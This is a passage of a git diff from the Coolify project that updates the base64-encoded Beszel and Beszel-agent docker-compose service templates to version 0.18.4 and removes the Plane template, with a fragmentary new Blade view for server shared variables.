\ No newline at end of file
diff --git a/resources/views/livewire/shared-variables/server/show.blade.php b/resources/views/livewire/shared-variables/server/show.blade.php
new file mode 100644
index 000000000..44ceeae7f
--- /dev/null
+++ b/resources/views/livewire/shared-variables/server/show.blade.php
@@ -0,0 +1,36 @@
+
+
+ Server Variable | Coolify
+
+
+
Shared Variables for {{ data_get($server, 'name') }}
@if ($current_step === 'github_apps')
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json
index 832899a70..a9f653460 100644
--- a/templates/service-templates-latest.json
+++ b/templates/service-templates-latest.json
@@ -254,7 +254,7 @@
"beszel-agent": {
"documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io",
"slogan": "Monitoring agent for Beszel",
- "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfVVJMX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"tags": [
"beszel",
"monitoring",
@@ -269,7 +269,7 @@
"beszel": {
"documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io",
"slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.",
- "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xNi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gJ0hVQl9VUkw9aHR0cDovL2Jlc3plbDo4MDkwJwogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgICAtICdDT05UQUlORVJfREVUQUlMUz0ke0NPTlRBSU5FUl9ERVRBSUxTOi10cnVlfScKICAgICAgLSAnU0hBUkVfQUxMX1NZU1RFTVM9JHtTSEFSRV9BTExfU1lTVEVNUzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9iZXN6ZWwKICAgICAgICAtIGhlYWx0aAogICAgICAgIC0gJy0tdXJsJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA5MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xOC40JwogICAgbmV0d29ya19tb2RlOiBob3N0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSBIVUJfVVJMPSRTRVJWSUNFX1VSTF9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=",
"tags": [
"beszel",
"monitoring",
@@ -3658,27 +3658,6 @@
"minversion": "0.0.0",
"port": "80"
},
- "plane": {
- "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io",
- "slogan": "The open source project management tool",
- "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgREVCVUc6ICcke0RFQlVHOi0wfScKICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKc2VydmljZXM6CiAgcHJveHk6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtcHJveHk6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1BMQU5FCiAgICAgIC0gJ0FQUF9ET01BSU49JHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LXdvcmtlci5zaAogICAgdm9sdW1lczoKICAgICAgLSAnbG9nc193b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICAgICAgLSBwbGFuZS1tcQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBiZWF0LXdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1iZWF0LnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX2JlYXQtd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVT